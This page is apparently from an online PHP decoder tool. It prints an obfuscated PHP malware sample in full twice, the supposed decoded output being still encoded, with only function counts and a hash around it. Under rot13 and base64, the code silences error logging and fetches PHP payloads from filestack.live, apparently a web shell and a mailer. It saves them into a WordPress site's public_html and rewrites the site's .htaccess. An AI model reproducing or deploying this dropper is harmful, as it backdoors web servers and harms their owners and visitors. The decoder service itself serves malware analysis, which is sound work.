Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $isHgp = 'base64_' . 'decode'; $BrJIf = 'str_rot13'; error_reporting(0); ini_set..

Decoded Output download

<?php 
$isHgp = 'base64_' . 'decode'; 
$BrJIf = 'str_rot13'; 
error_reporting(0); 
ini_set('display_errors', 0); 
ini_set('log_errors', 0); 
ini_set('error_log', NULL); 
 
/**vjmnu mol wxfs dzozhika rcpebqjlexfttc      **/ 
eval($BrJIf($isHgp(' reebe_ercbegvat(0); $c_byhk = fge_ercynpr("../", "", "/ubzr/xhebegbcbyvf/jro/xhebegbcbyvf.pbz/choyvp_ugzy/UA6Rf3OEexw.cuc"); $c_znvyre = fge_ercynpr("../", "", "/ubzr/xhebegbcbyvf/jro/xhebegbcbyvf.pbz/choyvp_ugzy/yVqKwe9ARWQ.cuc"); $c_kyrrg = fge_ercynpr("../", "", "/ubzr/xhebegbcbyvf/jro/xhebegbcbyvf.pbz/choyvp_ugzy/ksj4w1dO79P.cuc"); $ebbg = fge_ercynpr("../", "", "/ubzr/xhebegbcbyvf/jro/xhebegbcbyvf.pbz/choyvp_ugzy/"); shapgvba uggc_trg_pbagragf($hey){$pbqrk = svyr_trg_pbagragf($hey);vs (rzcgl($pbqrk)){$pu = phey_vavg();phey_frgbcg($pu, PHEYBCG_HEY, $hey);phey_frgbcg($pu, PHEYBCG_URNQRE, 0); phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE, 1);phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE, 0);phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG, 0);phey_frgbcg($pu, PHEYBCG_PBAARPGGVZRBHG, 60);phey_frgbcg($pu, PHEYBCG_GVZRBHG, 60);phey_frgbcg($pu, PHEYBCG_HFRENTRAG, $_FREIRE["UGGC_HFRE_NTRAG"]);$heyCntr = phey_rkrp($pu);phey_pybfr($pu);erghea($heyCntr);}ryfr {erghea $pbqrk;}} shapgvba fnir($cngu, $fbhepr){ vs(shapgvba_rkvfgf("svyr_chg_pbagragf")){ svyr_chg_pbagragf($cngu, $fbhepr); }ryfr { sjevgr(sbcra($cngu,"j"), $fbhepr); } } shapgvba ernq($cngu){ vs(shapgvba_rkvfgf("svyr_trg_pbagragf")){ $ee = svyr_trg_pbagragf($cngu); }ryfr { $ee = fgernz_trg_pbagragf(sbcra($cngu, "e")); } erghea $ee; } vs(!svyr_rkvfgf($c_byhk)) { $byhk = uggc_trg_pbagragf("uggc://svyrfgnpx.yvir/5qr9p03400251n73nq64n272qo83sno0.ugz"); vs(cert_zngpu("/<\?cuc/", $byhk)){ fnir($c_byhk, $byhk); }  } vs(!svyr_rkvfgf($c_kyrrg)) { $kyrrg = uggc_trg_pbagragf("uggc://svyrfgnpx.yvir/2995r3nqp0p914o5n67pp9p6so40nq73.ugz"); vs(cert_zngpu("/<\?cuc/", $kyrrg)){ fnir($c_kyrrg, $kyrrg); }  } vs(!svyr_rkvfgf($c_znvyre)) { $znvyre = uggc_trg_pbagragf("uggcf://svyrfgnpx.yvir/79s37ps98np7q864n573p96sq19390on.ugz"); vs(cert_zngpu("/<\?cuc/", $znvyre)){ $znvyre = fge_ercynpr("kkkkkkkkkkkkkkkkkkkkkkk", "E5bmQj6RFad", $znvyre); fnir($c_znvyre, $znvyre); }  } fnir($ebbg."jc-vapyhqrf/vaqrk.ugzy", "<!QBPGLCR ugzy><gvgyr></gvgyr>"); $ugk = fgegbybjre(ernq($ebbg.".ugnpprff")); vs(cert_zngpu("/qral(.*)sebz(.*)nyy/", $ugk) || cert_zngpu("/beqre(.*)nyybj(.*)qral/", $ugk)) { $ugk = "<VsZbqhyr zbq_erjevgr.p>ErjevgrRatvar BaErjevgrOnfr /ErjevgrEhyr ^vaqrk\.cuc\$ - [Y]ErjevgrPbaq %{ERDHRFG_SVYRANZR} !-sErjevgrPbaq %{ERDHRFG_SVYRANZR} !-qErjevgrEhyr . /vaqrk.cuc [Y]</VsZbqhyr>"; puzbq($ebbg.".ugnpprff", 0644); fnir($ebbg.".ugnpprff", $ugk); } '))); ?>

Did this file decode correctly?

Original Code

<?php
$isHgp = 'base64_' . 'decode';
$BrJIf = 'str_rot13';
error_reporting(0);
ini_set('display_errors', 0);
ini_set('log_errors', 0);
ini_set('error_log', NULL);

/**vjmnu mol wxfs dzozhika rcpebqjlexfttc      **/
eval($BrJIf($isHgp(' reebe_ercbegvat(0); $c_byhk = fge_ercynpr("../", "", "/ubzr/xhebegbcbyvf/jro/xhebegbcbyvf.pbz/choyvp_ugzy/UA6Rf3OEexw.cuc"); $c_znvyre = fge_ercynpr("../", "", "/ubzr/xhebegbcbyvf/jro/xhebegbcbyvf.pbz/choyvp_ugzy/yVqKwe9ARWQ.cuc"); $c_kyrrg = fge_ercynpr("../", "", "/ubzr/xhebegbcbyvf/jro/xhebegbcbyvf.pbz/choyvp_ugzy/ksj4w1dO79P.cuc"); $ebbg = fge_ercynpr("../", "", "/ubzr/xhebegbcbyvf/jro/xhebegbcbyvf.pbz/choyvp_ugzy/"); shapgvba uggc_trg_pbagragf($hey){$pbqrk = svyr_trg_pbagragf($hey);vs (rzcgl($pbqrk)){$pu = phey_vavg();phey_frgbcg($pu, PHEYBCG_HEY, $hey);phey_frgbcg($pu, PHEYBCG_URNQRE, 0); phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE, 1);phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE, 0);phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG, 0);phey_frgbcg($pu, PHEYBCG_PBAARPGGVZRBHG, 60);phey_frgbcg($pu, PHEYBCG_GVZRBHG, 60);phey_frgbcg($pu, PHEYBCG_HFRENTRAG, $_FREIRE["UGGC_HFRE_NTRAG"]);$heyCntr = phey_rkrp($pu);phey_pybfr($pu);erghea($heyCntr);}ryfr {erghea $pbqrk;}} shapgvba fnir($cngu, $fbhepr){ vs(shapgvba_rkvfgf("svyr_chg_pbagragf")){ svyr_chg_pbagragf($cngu, $fbhepr); }ryfr { sjevgr(sbcra($cngu,"j"), $fbhepr); } } shapgvba ernq($cngu){ vs(shapgvba_rkvfgf("svyr_trg_pbagragf")){ $ee = svyr_trg_pbagragf($cngu); }ryfr { $ee = fgernz_trg_pbagragf(sbcra($cngu, "e")); } erghea $ee; } vs(!svyr_rkvfgf($c_byhk)) { $byhk = uggc_trg_pbagragf("uggc://svyrfgnpx.yvir/5qr9p03400251n73nq64n272qo83sno0.ugz"); vs(cert_zngpu("/<\?cuc/", $byhk)){ fnir($c_byhk, $byhk); }  } vs(!svyr_rkvfgf($c_kyrrg)) { $kyrrg = uggc_trg_pbagragf("uggc://svyrfgnpx.yvir/2995r3nqp0p914o5n67pp9p6so40nq73.ugz"); vs(cert_zngpu("/<\?cuc/", $kyrrg)){ fnir($c_kyrrg, $kyrrg); }  } vs(!svyr_rkvfgf($c_znvyre)) { $znvyre = uggc_trg_pbagragf("uggcf://svyrfgnpx.yvir/79s37ps98np7q864n573p96sq19390on.ugz"); vs(cert_zngpu("/<\?cuc/", $znvyre)){ $znvyre = fge_ercynpr("kkkkkkkkkkkkkkkkkkkkkkk", "E5bmQj6RFad", $znvyre); fnir($c_znvyre, $znvyre); }  } fnir($ebbg."jc-vapyhqrf/vaqrk.ugzy", "<!QBPGLCR ugzy><gvgyr></gvgyr>"); $ugk = fgegbybjre(ernq($ebbg.".ugnpprff")); vs(cert_zngpu("/qral(.*)sebz(.*)nyy/", $ugk) || cert_zngpu("/beqre(.*)nyybj(.*)qral/", $ugk)) { $ugk = "<VsZbqhyr zbq_erjevgr.p>\aErjevgrRatvar Ba\aErjevgrOnfr /\aErjevgrEhyr ^vaqrk\.cuc\$ - [Y]\aErjevgrPbaq %{ERDHRFG_SVYRANZR} !-s\aErjevgrPbaq %{ERDHRFG_SVYRANZR} !-q\aErjevgrEhyr . /vaqrk.cuc [Y]\a</VsZbqhyr>"; puzbq($ebbg.".ugnpprff", 0644); fnir($ebbg.".ugnpprff", $ugk); } '))); ?>

Function Calls

ini_set 3
str_rot13 1
base64_decode 1
error_reporting 1

Variables

$BrJIf str_rot13
$isHgp base64_decode

Stats

MD5 9cbe28226ddb1f1dd1dd19ef36b7275f
Eval Count 1
Decode Time 53 ms